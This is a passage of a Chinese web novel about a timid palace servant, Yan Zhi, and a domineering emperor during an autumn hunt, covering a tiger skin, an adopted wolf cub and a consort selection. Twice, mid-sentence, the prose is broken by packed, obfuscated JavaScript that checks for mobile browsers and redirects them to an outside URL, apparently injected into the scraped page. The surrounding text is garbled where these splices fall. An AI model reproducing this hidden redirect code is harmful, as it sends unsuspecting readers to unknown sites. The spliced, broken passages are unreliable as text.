分明是很简单的游戏,一群人聚在一块儿,竟也玩得津津有味的。 就在他看得入迷的时候,忽然,有人双手端着茶杯,将东西递到他面前。 燕枝被吓了一跳,拽了拽兜帽,用衣袖掩着脸,转身要跑:“得罪……” 下一瞬,他的身后传来既熟悉又陌生的一声轻唤—— “燕枝公子?” 燕枝回过头,对上谢仪温和友善的目光,一时间竟有些呆住了。 自从多年前一别,这还是燕枝第一次这么近距离地看见他。 谢仪长开了,眉目清隽,神色温柔。 他温声道:“你可以过来坐着看,我不会告诉别人的。” 燕枝犹豫着,摇了摇头:“还是不了,我这就要回去……” “我父亲跟随陛下打猎去了。我认得出他的马蹄声,若是他随陛下一同回来,我会知道。” “真的吗?”燕枝下意识问。 “嗯。”谢仪颔首,垂眼看见他不自觉在地上磨蹭的脚,“你站累了?过来坐吧。那些公子哥儿从来不敢抬头看你,都不认得你,你只说你是我的远房表亲,跟着我爹过来的就好。” 燕枝思索片刻,最后还是轻轻点了点头:“……好。” 他低着头,藏在谢仪身后,小心翼翼地朝最热闹的地方走去。 谢仪带着他,在空地上一截倒塌的枯树树干上坐下。 燕枝拽紧了身上的披风,小声说:“谢仪,多谢你。” “举手之劳,不足挂齿。”谢仪轻声道,“况且,是我要多谢你才对。若是没有你帮忙请太医,我父亲早就命丧沙场了。” “那时我以为,你和我一样,也是世家旁支子弟,想找你道谢。结果刚开始打听,就被陛下身边的亲卫警告了。” “所以一直没能找你道谢,实在是失礼,对不住。” “没关系……”燕枝想了想,叮嘱他,“要是……等会儿被发现了,你就假装不认识我。” 谢仪抿起唇角,没有应“好”,也没有应“不好”。 他只说:“快看,卞家五兄弟要射箭了,他们五兄弟都可有意思了。” 燕枝抬头看去。 只见卞明玉和卞起、卞承、卞转、卞合站成一排,五个人齐齐引弓搭箭。 卞明玉自信道:“我就不信了,我们家五个人,总不能一个都射不中……” 话还没完,“嗖嗖”五声,五支箭全部落空。 众人哄堂大笑,卞明玉黑了脸,带着四个兄弟,转身离开。 “我们走!” 好巧不巧,五个兄弟随便找了个地方坐下,就坐在燕枝旁边。 不知道是卞什么,拿起水囊,递给卞明玉。 “大哥,下回你别说话了。” 卞明玉恼怒:“这能赖我吗?” “当然赖你,你一说话我们就憋不住笑。” “早知道我们就跟着陛下去打猎了,不留下来陪你了。” “平时我们练骑射,不说百发百中,那也是‘百发五十中’。偏偏和大哥你一起,‘百发零中’。” “滚滚滚!”卞明玉大声道,“你们四个一人一句,吵得我头都大了!” 兄弟之间说话好有意思,燕枝捧着脸,看向他们,眼里带笑。 “大哥,我都还没说话呢。我也要说,说不定跟着陛下上山,陛下就看上我们了。” “得了吧。”卞明玉皱起脸,表情复杂,“陛下连我这样风流倜傥的公子都看不上,又怎么会看上你们几个草包?” “怎么不会?万一呢?” 卞明玉嗤了一声:“我爹早就提点过我了,我们是绝对绝对会落选的,不要异想天开了。难得的机会,我们在这儿玩几天就回去了。” “伯父怎么断定?” “哼,因为陛下喜欢那个燕枝。” 燕枝忽然听见自己的名字,不由地坐直起来,想要离开。 谢仪见他紧张,便率先站起身来,坐到他和卞明玉中间,隔开他们两个,将燕枝挡在身后。 只听卞明玉压低声音,继续道:“你们看不出来啊?陛下就喜欢那个燕枝,去哪里都要揣着,跟揣着钱袋子似的,生怕弄丢了。” “我爹一眼就看出来了,所以那晚庆功宴,他一回来,就让我不要掺和选秀。你们也不要想了,不要往陛下身边凑。要是惹出祸事,可别赖我没有提醒你们啊。” “知道了。”四兄弟郑重地抱了抱拳,“谢大哥提点。” 燕枝垂了垂眼睛,忍不住小声反驳:“陛下不喜欢燕枝。” 这是陛下亲口说过的。 卞大人和卞公子实在是多虑了。 毕竟是陛下和他的男宠的事情,卞明玉再胆大,也不敢过分议论。 一群人很快就转移了话题,说些吃吃喝喝、玩玩乐乐的事情。 “别说,我真有点儿饿了。想杨家铺子的糖糕了。” “我也有点儿想。炙肉太咸,吃得有点腻味。” “没出息。等我爹的俸禄下来了,我带你们去南边玩儿,那边的点心更好吃。” “好啊好啊,谢谢大哥。” 燕枝捧着脸,小声道:“南边不好玩的。” 卞明玉耳朵尖,听见了,猛地转头看他:“胡说,南边可好玩儿了!” “不好玩。”燕枝道,“南边不是山就是河,没有糖糕吃,只有干粮吃。” “那是你去的地方不对,吃的东西也不对。” “我去的时候……” 燕枝刚想说自己去过,但是转念一想—— 他是去过南边没错,但是…… 是好多年前,跟着陛下打仗的时候去的。 那个时候,南边的山水,对他来说,都是战场,是抱着武器,跟在陛下身后,一步一步走过去的地方。 他在战场上,看见的是鲜血和尸体。 他住在军营里,吃的也是北边梁都运来的军粮。 直到现在,南边的安国、陈国早就被陛下攻克,百姓休养生息,应当是另一番景象了。 燕枝反应过来,忙不迭赔礼道歉:“对不住,是我错了。” 他认错认得这样干脆,卞明玉哽了一下,也不好再多说什么。 “没事儿。” 他看着这人,忽然觉得有些眼熟,皱起眉头,想要凑近看看。 “你……” 谢仪挡在燕枝身前,清了清嗓子:“卞公子,请不要失礼。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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燕枝拽着披风,快步走在前面。 为了掩人耳目,谢仪远远地跟在后面,送他回去,看着他进了帝王营帐,才转身离开。 午膳时候,陛下还没有回来。 燕枝仍旧一个人在帐篷里吃午饭,吃完了就犯困。 睡了一会儿起来,没敢再出门,就拿起话本继续看。 这回没被发现,是他运气好。他不能再冒着被陛下发现的风险,溜出去玩。 能有一上午的玩乐,他已经很满足了。 燕枝坐在榻上,乖乖看书。 一直到了傍晚,太阳落山的时候,他没等到陛下回来,却等到了谢仪。 陛下不在,帐篷外面没有亲卫看守。 谢仪鬓发微乱,衣上沾着尘土,从怀里拿出一个荷叶包着的东西,路过帝王营帐前面的时候,不经意间弯腰放下。 他又故意对着远处,喊了一声“卞公子”,提醒燕枝。 卞明玉不明所以:“谁喊我?喊我干嘛?” 燕枝认出他的声音,跑到帐前,捡起荷叶。 打开包裹,里面是一块白花花、亮晶晶的糖糕。 杨家铺子的糖糕。 他真的骑马去买了。 燕枝捧着糖糕,跑回帐篷里,躲进榻上,掰着糖糕,小口小口地吃掉。 好甜!好吃! 难怪那些公子哥儿都喜欢吃,他也喜欢吃。 吃完糖糕,燕枝仔仔细细地漱了口,把甜味冲掉,最后把荷叶揉得碎碎的,丢到外面,让荷叶碎片随风散去。 好了,这下就不会被陛下发现了。 可是陛下…… 一直到天都黑了,月亮都出来了,陛下还没回来。 晚上还要打猎吗? 陛下不会真的遇到老虎了吧? 燕枝忽然有点担心,去问宫人侍卫,他们也说不知道。 他一个人待在帐篷里,忐忑不安地守着烛火,等着陛下回来。 一更天、二更天、三更天…… 天太晚了,燕枝趴在榻上,迷迷糊糊地睡了过去,又梦见了老虎。 这回老虎没再追着他跑,而是追着陛下跑。 陛下一面骑着战马,一面搭弓射箭,一箭射中老虎的眼睛。 他想喊陛下快跑,他不要虎皮了,他从来就不想要虎皮。 可是他根本喊不出声音来,只能在梦里干着急,看着陛下惹怒猛虎,朝猛虎射箭。 ——“陛下!” 燕枝再次从梦中惊醒,倏地睁开眼睛。 ——一块黄黑白相间的猛兽皮毛,猛地撞进他的眼里。 “啊!” 燕枝惊叫一声,抱着被子,蹬着双脚,连连后退。 他还在做梦!他还在做噩梦! “救命……救命啊!救命……” ——“蠢货,是死的。” 男人冰冷的声音传来。 燕枝抬头看去,只见案上点着一支蜡烛,烛光幽幽,陛下不知道什么时候回来了,就披着盔甲,坐在小榻上。 盔甲上带着干涸的鲜血,周身散发着浓烈的野兽气息。 而萧篡正一手端着肉羹,一手拿着肉饼,悠哉悠哉地吃宵夜。 燕枝这才发现,他看见的不是老虎,而是虎皮。 他不知道什么时候,睡在了一块巨大的虎皮上边。 他不敢置信地抬起头,看着陛下。 陛下白日里去猎了一只猛虎? 陛下还把猛虎的皮剥了下来,趁他睡着的时候,把他抱到虎皮上,让他睡在上面。 燕枝捂着自己的心口,只感觉自己的小心脏狂跳不停。 吓死他了……吓死他了…… 就在这时,他身边的毯子底下,似乎盖着什么活物。 毯子轻轻动了动,燕枝一激灵,连忙又躲到床榻角落。 萧篡喝了口肉羹,目光淡淡地看了过来。 下一刻,一个黑漆漆、圆溜溜的小脑袋,摇摇晃晃地从毯子里钻了出来。 像是一只小狗。 燕枝愣住了。 这是什么?榻上怎么会有这个东西?它是自己爬进来的吗?他怎么都没有察觉? 燕枝想不明白。 萧篡见他呆在原地不动,便放下碗,起身上前,捏着“小狗”的后颈,把它提起来。 “啧,朕出去打了一天猎,你就在家里给朕生了个‘儿子’。” “生得不错,父子平安。” 12.幼狼 12 萧篡确实是去打猎了。 天还没亮,燕枝还没起来的时候,他就醒了。 他靠在榻上,搂着燕枝,胡乱捏捏他的脸和手。 燕枝睡得正熟,闭着眼睛,毫无防备地窝在他怀里,又乖又温顺。 萧篡跟捏娃娃似的,捏了他一会儿,心里便有了盘算。 他把燕枝留在榻上,自己起身下榻,走出营帐,点了几个武将的名字,让亲卫去喊人。 不多时,十来个武将披着盔甲,背着弓箭,牵着战马,集结完毕。 天刚蒙蒙亮的时候,萧篡拽着缰绳,翻身上马,带着一队人马上了山。 萧篡长于弓马骑射,甚至更甚在场武将一筹。从前御驾亲征,他总是主帅。 只是今日独自骑马,他总觉得怀里空落落的。 萧篡垂下眼睛,松开缰绳,双手环抱在身前。他就这样骑马,在崎岖不平的山坡上,倒也稳稳当当的。 有大臣壮着胆子问:“敢问陛下,此次进山……” 萧篡淡淡道:“猎一头猛虎。” 猛虎可遇不可求,直到傍晚时分,一行人翻过两个山头,才在林子深处找到一点儿带着皮毛的粪便。 萧篡坐直起来,一手握紧缰绳,一手摘下弓箭,蓄势待发。 下一瞬,狂风骤起,扬起林中枯叶尘土,迎面扑来。 众人被迷了眼睛,还没等看清楚眼前场景,萧篡眉头一皱,动作迅疾,搭弓射箭。 “嗖嗖嗖”三声—— 三支铁箭连发,没入草丛。 两箭正中猛虎双眼,猛虎吃痛,咆哮着往边上一滚,躲开最后一箭。 最后一箭没入树干,直接穿透两人环抱的参天大树。 直到这时,一众随行武将才反应过来,纷纷举起兵器,扯开牛筋绳。 萧篡淡淡道:“别弄伤皮毛。” “是!” 猛虎就算瞎了眼睛,照样还是猛虎,气势丝毫不减。 几个武将将牛筋绳打成绳结,用力抛出去,想把绳索套在猛虎的脖子上,却因为猛虎发狂挣扎,抛了几次都没能套中。 萧篡看不下去,从他们手里接过绳结,往前一抛。 绳索套在猛虎的脖子上,套牢之后,猛虎一个踉跄,甩着脑袋,直直地往前冲,试图挣脱。 萧篡拽着绳子,骑在马背上,便如同遛狗一般,被它带着往前。 最后,萧篡将绳索猛地往回一拽,猛虎被一把扯回来,重重地撞在粗壮的树干上,“哐”的一声巨响。 反复几个回合,树干被撞断了,猛虎也晕死过去。 萧篡翻身下马,提刀上前,一刀刺穿猛虎喉咙。 最后,他点了几个武将,让他们把老虎送下山去,请工匠剥皮拆骨,他晚上就要见到虎皮。 大臣问他,是否要保留虎头,与虎皮连为一体。 萧篡思忖片刻,最后道:“不必。” 燕枝这个蠢货,要是把虎头放在他面前,他能被吓得嗷嗷哭,一整晚都别想睡。 还是算了,让他睡虎皮就好。 一般来说,猛虎盘踞的山头,不会再有其他大型猎物,但萧篡还不想这么快就下山去。 想到燕枝红着眼眶,躲在角落,可怜巴巴的模样,他心里就不舒坦。 于是萧篡又带着人在山上闲逛。 逛着逛着,就找到了方才那头猛虎居住的洞穴。 虎穴之中,散落着新鲜的骨头,大抵是猛虎前不久吃掉的猎物。 大臣们辨认不出是什么动物的骨架,萧篡只瞧了一眼,便淡淡道:“是狼。” 走出洞穴,继续往前,草丛之中再次传来异响。 一只出生不久、通体漆黑的幼狼,跌跌撞撞地走出来。 它大约是饿极了,没力气,走到萧篡的战马前面,就趴了下来,呜呜咽咽地哭,跟小狗叫唤似的。 萧篡勒马停驻,盯着它瞧了一会儿,最后翻身下马,捏着它的后颈,把它提了起来。 他可不是大发善心,他也不想再养一只小狗。他已经有燕枝这只“小狗”了。 不过,可以让他的“小狗”再养一只“小小狗”。 一家三口,想想还挺美的。 这下可以回去了。 萧篡用盔甲披风把幼狼绑起来,带着一群人,启程回营。 从日落西山,到月近中天。 一行人回到营地的时候,已经是三更天了。 底下人将处理好的虎皮送过来,萧篡遣散众人,背着弓箭,将虎皮搭在肩上,一手拎着幼狼,一手掀开帐篷帘子,朝里面看去。 好嘛,燕枝这只没心没肺的小狗,竟然睡着了。 榻前小案上点着一支蜡烛,蜡烛烧得很短很短,眼看着就要烧灭了。 燕枝就抱着枕头,趴在榻边,睡得并不稳当,随便一翻身,就会掉到床下去。 烛焰摇晃,烛光昏黄,照在燕枝的脸庞上,映出他微微蹙起的眉头,映出他脸上不自然的淡淡红晕。 萧篡大步上前,在榻前站定。 他伸出手,原本想一把掐住燕枝的脸,把他掐醒。 转念一想,又换了手势,想把盔甲束袖贴在燕枝的脸上,把他冻醒。 再一想,还是不好。 他有更好的法子。 萧篡弯下腰,手臂圈住燕枝的腰,直接把他吊起来。 燕枝差点儿被他弄醒,挣扎着“哼唧”了两声。 萧篡熟练地捂住他的眼睛,把他按回梦里。 他一手抱着燕枝,一手拿出自己带回来的战利品,全都丢到榻上。 一整块虎皮,丢上去。 刚出生不久的小狼,丢上去。 随手摘的野果,丢上去。 榻上满满当当,全都是萧篡打猎带回来的东西。 这样就差不多了。 最后,萧篡把自己出征这个世界,猎到的最大的战利品——燕枝——放到床榻中央。 大概是虎皮有点儿扎人,他刚把燕枝放上去,燕枝就蜷起身子,手垫在自己的脑袋下面。 萧篡披着盔甲,站在榻前,欣赏把玩着独属于自己的战利品,翘起嘴角,志得意满。 不错,好得很! 这就是他的宝库。 萧篡看了一会儿,最后捏捏燕枝的脸颊肉,才转身坐到另一张小榻上。 宫人进来过一趟,放下吃食就出去了。 他大马金刀地坐着,啃一口肉饼,喝一口肉羹,目光始终停留在旁边的床榻上,如同看守宝藏的恶龙一般。 没多久,燕枝被虎毛扎了一下,喊了一声“陛下”,睁开眼睛。 萧篡咬了一口肉饼,低低地笑了一声。 还算他有良心,知道要梦见陛下。 紧跟着,燕枝被身下的虎皮吓得魂飞魄散,又被毯子底下的幼狼吓了一跳。 萧篡走到他面前,捏起幼狼的后颈,在他面前晃了晃,故意问:“你生的?” 燕枝还没睡醒,呆呆地看着他,一双眼睛睁得圆溜溜的,不自觉摸了摸自己的腰腹,怀疑地问:“奴生的?” 见他发傻,萧篡继续逗他:“朕前几日就说你怀了,你还说不是。” “奴没有……”燕枝后知后觉地反应过来,“不是奴生的,奴不会生小狗……” “小狗当然会生小狗。”萧篡把幼狼往他面前递了递,“你生的,你养它。” “不要!奴不要!”燕枝惊慌失措,转身要逃,“不是奴生的……” 萧篡抓住他的衣领,把他抓回来,强硬地把幼狼塞进他怀里:“朕说是你生的,就是你生的。给它喂点吃的。” “不要……” 燕枝的挣扎,在萧篡眼里,根本不值一提。 他的反抗很快就被镇压了。 萧篡坐在榻上,继续吃他的宵夜。 燕枝则抱着“小狗”,坐在旁边。 他抱着“小狗”的手伸得长长的、举得高高的,让“小狗”离自己远远的,甚至不自觉发起抖来。 偏偏这时,萧篡掰下一块肉饼,递给燕枝,让他喂狗。 燕枝接过肉饼,小心翼翼地送到“小狗”面前。 “小狗”吸了吸鼻子,凑近他的手,然后张开嘴巴。 手指被温温热热的触感包围,燕枝像丢石子一样,把肉饼往它嘴里一丢,忙不迭缩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15158468|164173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回手,在衣裳上胡乱蹭了蹭。 萧篡瞧了他一眼,像是终于明白过来:“怕狗?” “是……”燕枝点点头,“奴小的时候,被狗追过。” 那个时候,他才四五岁,背着竹篓,上山去捡柴,结果在山路上遇到了一头大狗。 大狗是镇上富商家养的,吃的东西比他吃的还好,养的膘肥体壮,嘴里滴滴答答淌着涎水。 燕枝扭头就跑,但因为慌不择路,脚下一滑,滚下山坡,最后掉进河里。 所幸大狗没有再追上来,他抱着竹篓,在水里漂来漂去,最后被娘亲捞上来了。 从那时起,他就很怕狗,也很怕水。 燕枝抿了抿唇角,鼓起勇气,把“小狗”递给萧篡:“陛下,奴……奴养不了小狗,能不能……” “不能。”萧篡斩钉截铁地拒绝了,“你生的你不养,坏小狗。” “明明就不是奴生的,明明……明明是陛下生的……” “嗯?”萧篡皱眉。 燕枝改了口:“陛下捡的。” 萧篡垂眼,又掰下一块肉饼,像刚才他喂狗一样,喂到他嘴里。 燕枝含着肉饼,可怜巴巴地望着他,又喊了一声:“陛下……” 萧篡用拇指抹了一下他的唇瓣,轻嗤一声:“知道了,给它找个乳母,再配两个宫人。” 燕枝这才放下心来,破涕为笑:“谢谢陛下!” “新人马上进宫,朕给你找了个‘儿子’,你还不要。”萧篡掐着他的下巴,把他抓过来,“你好好养着‘小狗’,想见朕了,就抱着‘小狗’,来太极殿外求见,哭哭啼啼地说——” “‘陛下,小小狗想陛下了。’” “朕不就见你了?朕特意教你争宠的手段,你还不学。你到底想做什么?” 燕枝吸了吸鼻子。 现在他自己也说不清楚,他到底想做什么。 从前他想一直侍奉在陛下身边,报答陛下的救命之恩,可是现在…… 他有点儿想出宫去玩玩儿。 他惊奇地发现,陛下不在营地里的这一天,他一个人待着,凑凑热闹,看看话本,好像过得还不错。 当然了,他也没这么傻,把这些话说给陛下听,惹陛下发怒。 燕枝垂下眼睛,想了想,转移了话题:“陛下已经挑好入宫人选了吗?” “你少打听这些事情。” “是。” 萧篡放下手中碗勺,站起身来,命令道:“卸甲。” “是。”燕枝把“小狗”放在榻上,起身解开陛下盔甲上的暗扣。 盔甲上满是鲜血,尘土黏在上面又干涸,燕枝光是站在萧篡面前,就能感觉到一股凛冽杀意扑面而来。 他揉了揉眼睛,帮萧篡卸了甲。 萧篡用他洗漱过的冷水简单擦了擦身子,换了身干净衣裳,就准备上榻睡觉。 天已经微微亮了,再不睡就睡不了了。 萧篡把那只幼狼放在榻前,让它自己睡觉,又搂着燕枝,躺在榻上。 燕枝的脑袋靠在他的胸膛上,眨巴着眼睛,认真看着幼狼,生怕它忽然跳上床榻,“吭哧”给自己一口。 幼狼也大睁着发光的眼睛,好奇地望着他。 萧篡看出他的害怕,冷声道:“怕什么?它连牙都没长齐,还能咬你不成?” “嗯……”燕枝点了点头,强迫自己闭上眼睛,不去注意这只“小狗”。 不知道过了多久,就在燕枝即将睡着的时候,他枕着的胸膛忽然震动起来。 他听见陛下问—— “蠢货,怕狼吗?” “什么?”燕枝迷迷糊糊地清醒过来,抬起头。 “你怕狗,那怕狼吗?”萧篡低头看他。 一时间,他的眼睛似乎和那匹幼狼一样,在黑暗中亮着光。 “怕……”燕枝怀疑是自己看错了,迟疑着道,“更怕……” “没用的蠢货,这也怕那也怕,狗也怕狼也怕,天底下就没有你不怕的东西。” 陛下不知为何,又生气了。 最后骂了他一声,按住他的脑袋,捂住他的眼睛。 “睡了。” 13.糖糕 13 一行人在北凉山猎场外,扎营待了快半个月。 萧篡对打猎这种事情,并不十分热衷。 除却刚到猎场的前两日,他上山猎得一头猛虎和两只狐狸。 剩下的日子,他都留在帐篷里,一面看奏章,一面搂着燕枝和捡来的幼狼,胡乱摸摸他们的脑袋,捏捏他们的脸。 燕枝和幼狼并排坐着,看着又乖巧又听话,就算被他捏疼了,也只是默默红了眼眶,眼里蓄着泪水,一声不吭。 萧篡很是喜欢,不知道从哪里拿出一块小熊形状的饼干,塞到燕枝嘴里,又拿出一块小一些的、骨头形状的饼干,丢给幼狼,让它抱着啃。 在帐篷里坐累了,萧篡偶尔也会出门逛逛,见一见参加选秀的备选男女。 燕枝则抱着名册,握着毛笔,乖乖跟在陛下身后,按照陛下的说法,在名册上写下“上中下”三等的标记。 一晃眼到了九月中旬。 天气慢慢转冷,夜里风声呼啸,北风穿透篷布,细细密密地吹进帐篷里。 燕枝就算睡在虎皮上,还是有点儿冷,总是紧紧地扒着陛下。 直到某日,燕枝一觉醒来,鼻子塞了,嗓子哑了,脸颊上还泛着不太自然的红晕,整个人迷迷瞪瞪的。 燕枝染了风寒,萧篡这才下旨,启程回都。 因为风寒,回程路上,燕枝不好再骑马吹风,萧篡就让人牵了一驾马车过来。 几个亲卫在前面开路,车檐下铜铃轻轻摇晃,文武百官跟在后头。 六匹骏马牵引的马车,铺着毯子,点着炉子,宽阔又暖和。 马车里—— 萧篡嫌炉子太热,敞着单衣,斜斜地靠在软枕上,随手翻阅燕枝记录的选秀名册。 燕枝穿着新制的狐裘,整个人裹得严严实实的,只从裘衣风毛里,露出半张忧愁的小脸。 他双手捧着碗,碗里是颜色漆黑、气味难闻的汤药。 燕枝低下头,抿了一小口。 好苦!好涩! 他蹙起眉头,扭过脸去,咳嗽了两声。 他不想喝药。 ——“不想喝就别喝了。” 陛下冷淡的声音在他头顶响起。 燕枝眼睛一亮,循声望去:“陛下……” “给它喝。”萧篡头也不抬,随手指了一下窝在旁边的幼狼。 燕枝面上笑意凝了一下,幼狼也疑惑地抬起了脑袋。 “你掰开它的嘴,给它灌进去。它喝了你就不用喝了。” 那还是算了,他不敢,他怕“小狗”咬他。 而且,人喝的药,“小狗”不一定能喝。燕枝虽然害怕,但也没有想过要毒死它。 萧篡最后道:“三——” 燕枝忙不迭捏住鼻子,抬起头,一口气把汤药灌下去。 “喝……喝完了……”燕枝捂着嘴,打了个嗝。 萧篡拂开他的手,捏住他的下巴,拨了一下他的唇珠,用拇指指腹擦去他唇角上沾着的汤药。 燕枝愣了一下。 萧篡转过头,见他发呆,便道:“看什么?以为朕要给你糖吃?” 燕枝连忙摇摇头:“奴没有。” “这阵子给你吃了多少糖,你自己心里没数?”萧篡道,“动不动就哭,动不动就不理人,动不动就要死要活的。” 萧篡掐着他的脸:“朕看你那时也不是那么伤心,就是馋了,故意做出一副哭哭啼啼的模样,想争宠,骗糖吃。” “奴没有……” 燕枝试图辩解,但是萧篡不让他说。 “就一个小小风寒,还想天天吃糖?想得美。”萧篡最后道,“从今日起,到年节前,不管是奶油泡芙,还是奶糖饼干,全都断掉,不许再吃。” 燕枝瘪了瘪嘴巴,应了一声:“奴知道了。” “去陪你‘儿子’玩玩儿。” “是……” 燕枝在心里叹了口气,挪到毯子堆成的小狗窝前面。 之前陛下说,会给“小狗”找两个宫人,帮忙照顾。 其实陛下根本就没找,一直都是燕枝在养它,给它打水喝,搭窝睡,弄肉汁拌饭吃,还带它出去散步。 几天的相处下来,燕枝和“小狗”熟悉了不少。 不过燕枝还是有点儿害怕,和它玩儿的时候,总是用衣袖包着手,离得也不算近。 燕枝坐在狗窝前面,伸出包得严严实实的手,摸摸它的下巴:“小狗——小狗——” “小狗”也很乖巧,歪了歪脑袋,依偎在燕枝的手上。 燕枝弯起眼睛:“启禀陛下,奴想给它起个名字。” 萧篡淡淡道:“你叫‘小狗’,它不就叫‘小小狗’?还要起什么名字?” “不是的。”燕枝一脸认真,“奴不叫‘小狗’,它也不叫‘小小狗’。” “噢。”萧篡轻嗤一声,“随你。” “奴叫‘燕枝’,奴要叫它——” 燕枝想不出什么踏月、追风的好名字,想了半天,最后道:“‘泡芙’!” 萧篡皱眉:“才跟你说,从今日起没泡芙吃,又泡芙。” “不是的,陛下,奴想给它起的名字是‘泡芙’。” “不行,都不是一个东西。” “那就叫‘奶油’。” “不行。”萧篡冷下脸,“长得乌漆嘛黑的,叫什么奶油,叫‘黑炭’或者‘泥巴’还差不多。” “叫……” “不许用朕给你的吃的起名字。” “是。”燕枝继续想。 他吃过的东西也不多,要是给一只狗起小鸡、小鸭的名字,那也太奇怪了。 忽然,燕枝灵光一闪:“糖糕!” “陛下,叫它‘糖糕’,黑糖糖糕,是黑色的,好不好?” “随你。” 萧篡终于同意,因为他没送过糖糕给燕枝吃。 燕枝高高举起“小狗”,轻轻摇了摇,笑着喊它:“糖糕、糖糕。” “小狗”好像知道他在喊自己,咧开嘴,吐出舌头,两条短短的后腿和一条短短的尾巴,在空中摇来摇去。 “小狗”嘤嘤地叫唤,燕枝没忍住笑出声来,纠正它的发音:“糖糕,不对,你应该‘汪汪汪’地叫。” “嘤嘤嘤——” “汪汪汪!汪汪汪!” “两只蠢货。”萧篡低低地骂了一声,把从头到尾勾画一遍的名册丢进燕枝怀里,“朕圈起来的这几个人,让他们进宫住着,准备‘终面’。” “是。”燕枝放下“小狗”,拿起名册。 陛下用鲜红的朱砂笔,把他们的名字都圈起来了,很是显眼。 燕枝觉得这样不太吉利,但没不敢说,想着等会儿自己再抄一份就好。 他低下头,认真看看被圈起来的名字:“诶……” 燕枝有些惊讶:“陛下……陛下不是不喜欢谢仪么?为什么……” 萧篡转头看他,目光冰冷:“怎么?你心疼了?” “没有,只是觉得……”燕枝小心翼翼地回答,“奇怪……” “有什么可奇怪的?”萧篡淡淡道,“上面的人,朕一个都不喜欢,不是照样得从里面选皇后?” “可是……” “朕也不喜欢你,你不是照样待在这儿?” “谢仪此人,虽然相貌丑恶,举止轻浮,为人处世,愚不可及,但他和你比起来,至少还有一点可取之处——” 萧篡捏着燕枝的脸颊肉,用力摇了摇。 “他认的字比你多,写的文章比你好,才华比你高。” “是,奴知道了。”燕枝垂下眼睛。 他当然不是嫉妒谢仪,他只是有点儿担心。 谢仪本就无意入宫,他是想入朝为官的,若是真被选上了,那该怎么办? 应该不会的,陛下除了看重才华,还看重家世。谢仪的家世,在备选之人里,算不上是特别好的。 圣心难测,陛下究竟是真的想选谢仪,还是故意说给他听。 一时间,燕枝也看不透。 或许,他应该找个机会,提醒一下谢仪。 谢仪带他出去玩儿,给他买糖糕吃,算是他的好友了,他应该知恩图报。 萧篡冷声打断他的思绪:“发什么呆?又心疼上了?” 燕枝抬起头,连忙道:“没有,奴只是在想,应该收拾何处宫殿,给他们居住。” “随你,离太极殿远点就行。” “是。” 正说着话,队伍抵达梁都,马车进入城门,一路朝大梁宫驶去。 燕枝掀开马车帘子,悄悄朝外面看了一眼。 今日的都城和往日没有区别,人来人往,熙熙攘攘的。 燕枝抿了抿唇角,在陛下呵斥他之前,把帘子放下来。 萧篡抱着手,闭上眼睛,靠在马车壁上:“蠢货,你说,要是‘终面’也挑不出十全十美的皇后,该怎么办?” “奴不知道。”燕枝摇摇头,“陛下先前不是说,先让各位公子女郎学一学文学武功,等练成了文武双全的人,再行选秀么?” “他们练得太慢了。”萧篡道,“朕带他们出去秋狩半个月,武力平均值就涨了零点三三。一天天的,就在那儿喝酒玩乐。” 萧篡皱眉,语气不耐:“照这个学习速度,等他们练成文武双全的人,至少还要七八十年。到那时候,他们一个个拄着拐杖,走路都走不稳,一张嘴就掉牙,还怎么做皇后?” “唔……”燕枝认真思考,“奴……奴也不知道该怎么办。” “朕倒是又有一个法子。” 燕枝疑惑:“陛下?” 萧篡睁开眼睛,坐直起来:“你说,是谁定的规矩,一个皇帝只能立一个皇后的?” “啊?”燕枝眨巴眨巴眼睛,没有反应过来。 萧篡正色道:“没人定过,一个皇帝只能立一个皇后。就算有这个规矩,天下规矩都是朕定的,朕现在想改也行。” 他理直气壮,振振有词,“既然找不到十全十美的皇后,那就干脆多立几个。” “一个重家世,一个重才华,一个重容貌,一个重武功,还有一个管理后宫。多立几个,全是皇后,总能凑到满意的。” 燕枝却越发呆住了,眼睛睁得圆圆的:“可是……可是……” 他总觉得有哪里不太对劲,但就是说不上来。 萧篡翘起嘴角,志得意满:“你也觉得朕聪明,是吧?” * 三日后。 燕枝早中晚各灌一碗苦药下去,风寒就好得差不多了。 他把陛下画出来的名册重抄一边,送到尚书台那边,请尚书台官员安排。 他又带着宫人,把大梁宫西边空置的两处宫殿收拾出来,准备给他们居住。 这日清晨,备选众人入宫。 燕枝抱着名册,站在宫门外,迎接他们。 这会儿没人过来,燕枝悄悄低下头,揉了揉眼睛。 陛下要选秀,虽然他已经说服自己,接受了这件事情,但他心里总是闷闷的,昨晚也睡不着。 后来,陛下发现他没睡着,就说躺着也是躺着,就把他抱起来,让他“争宠”。 一直到天光破晓的时候,陛下才把他从温泉池子里扛出来。 他一整晚都没睡,才刚睡了一会儿,陛下又把他喊醒,还对他说,这些公子哥儿,说不准以后都是他的主子,要他早早地就过来候着。 所以他现在当然没精神。 燕枝掩着嘴,别过头去,打了个大大的哈欠。 正巧这时,一驾马车从远处驶来,在宫门前停下。 卞大人背着包袱,带着卞明玉走下马车,也不急着送他进宫,而是先将他拉到一边,殷切叮嘱一番。 “入宫之后,小心行事,切不可娇纵任性,更不可强出风头。只等选秀落选,就能回家了。” 卞明玉点点头:“知道了,爹,你就放心吧,陛下不会看上我的。” 卞大人无奈,又拉着他,来到燕枝面前:“燕枝公子。” 燕枝赶忙收敛了脸上笑意,向他行礼:“卞大人。” “我这个儿子笨得很,若是在宫里有做得不好的地方,还请燕枝公子多多提点。” 卞大人一边说着,一边从衣袖里掏出一个钱袋子,要塞给燕枝。 燕枝摆着手,连连后退:“不可不可,奴……” 